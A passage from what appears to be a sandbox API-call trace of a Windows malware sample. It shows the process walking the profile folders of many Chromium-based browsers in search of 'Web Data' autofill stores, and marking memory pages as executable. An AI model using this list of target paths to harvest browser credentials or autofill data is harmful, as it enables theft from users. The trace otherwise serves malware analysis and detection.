ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.912] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\amigo\\user data\\web data")) returned 0xffffffff [0163.912] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.912] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2ecc, cbMultiByte=7, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Orbitumers\\AutoComplete Data\\er Data\\r Data\\ṽ鵎瑰\x04") returned 7 [0163.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0cfc, cbMultiByte=33, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Orbitum\\User Data\\ Data\\r Data\\ṽ鵎瑰\x04") returned 33 [0163.913] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Orbitum\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data\\") returned 0x33 [0163.913] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteer Data\\ Data\\r Data\\ṽ鵎瑰\x04") returned 21 [0163.913] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.913] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.913] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\orbitum\\user data\\web data")) returned 0xffffffff [0163.913] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.913] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.913] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf300c, cbMultiByte=7, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Bromiumers\\AutoCompleteer Data\\ Data\\r Data\\ṽ鵎瑰\x04") returned 7 [0163.913] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0dd8, cbMultiByte=33, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Bromium\\User Data\\ Data\\r Data\\ṽ鵎瑰\x04") returned 33 [0163.914] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Bromium\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Bromium\\User Data\\") returned 0x33 [0163.914] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteer Data\\ Data\\r Data\\ṽ鵎瑰\x04") returned 21 [0163.914] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Bromium\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.914] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.914] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Bromium\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\bromium\\user data\\web data")) returned 0xffffffff [0163.914] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.914] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.914] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3150, cbMultiByte=8, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Chromiumrs\\AutoCompleteer Data\\ Data\\r Data\\ṽ鵎瑰\x04") returned 8 [0163.914] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0eb8, cbMultiByte=34, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Chromium\\User Data\\Data\\r Data\\ṽ鵎瑰\x04") returned 34 [0163.915] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chromium\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\") returned 0x34 [0163.915] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteser Data\\Data\\r Data\\ṽ鵎瑰\x04") returned 21 [0163.915] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.915] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.915] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\chromium\\user data\\web data")) returned 0xffffffff [0163.915] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.915] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.915] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf329c, cbMultiByte=8, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Nichromers\\AutoCompleteser Data\\Data\\r Data\\ṽ鵎瑰\x04") returned 8 [0163.915] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0f9c, cbMultiByte=34, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Nichrome\\User Data\\Data\\r Data\\ṽ鵎瑰\x04") returned 34 [0163.915] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Nichrome\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Nichrome\\User Data\\") returned 0x34 [0163.915] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteser Data\\Data\\r Data\\ṽ鵎瑰\x04") returned 21 [0163.916] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Nichrome\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.916] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.916] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Nichrome\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\nichrome\\user data\\web data")) returned 0xffffffff [0163.916] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.916] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.916] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf33ec, cbMultiByte=8, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="RockMeltrs\\AutoCompleteser Data\\Data\\r Data\\ṽ鵎瑰\x04") returned 8 [0163.916] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1084, cbMultiByte=34, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\RockMelt\\User Data\\Data\\r Data\\ṽ鵎瑰\x04") returned 34 [0163.916] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\RockMelt\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\RockMelt\\User Data\\") returned 0x34 [0163.916] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteser Data\\Data\\r Data\\ṽ鵎瑰\x04") returned 21 [0163.917] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\RockMelt\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.917] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.917] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\RockMelt\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\rockmelt\\user data\\web data")) returned 0xffffffff [0163.917] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.917] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.917] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3540, cbMultiByte=10, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="360Browser\\AutoCompleteser Data\\Data\\r Data\\ṽ鵎瑰\x04") returned 10 [0163.917] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1170, cbMultiByte=44, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\a\\ṽ鵎瑰\x04") returned 44 [0163.917] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned 0x3e [0163.917] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoComplete\\Browser\\User Data\\a\\ṽ鵎瑰\x04") returned 21 [0163.918] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.918] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.918] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\360browser\\browser\\user data\\web data")) returned 0xffffffff [0163.918] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.918] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.918] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3698, cbMultiByte=7, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Vivaldiers\\AutoComplete\\Browser\\User Data\\a\\ṽ鵎瑰\x04") returned 7 [0163.918] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf126c, cbMultiByte=33, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Vivaldi\\User Data\\\\User Data\\a\\ṽ鵎瑰\x04") returned 33 [0163.918] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Vivaldi\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data\\") returned 0x33 [0163.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x411000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x411000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.925] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteer Data\\\\User Data\\a\\ṽ鵎瑰\x04") returned 21 [0163.925] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.925] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.925] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.925] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.926] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\vivaldi\\user data\\web data")) returned 0xffffffff [0163.926] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.926] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.926] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf37f0, cbMultiByte=5, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Operawsers\\AutoCompleteer Data\\\\User Data\\a\\ṽ鵎瑰\x04") returned 5 [0163.927] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1360, cbMultiByte=25, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%APPDATA%\\Opera Software\\er Data\\\\User Data\\a\\ṽ鵎瑰\x04") returned 25 [0163.927] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Opera Software\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\") returned 0x32 [0163.927] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteer Data\\\\User Data\\a\\ṽ鵎瑰\x04") returned 21 [0163.927] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.927] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.927] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\opera software\\web data")) returned 0xffffffff [0163.927] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, 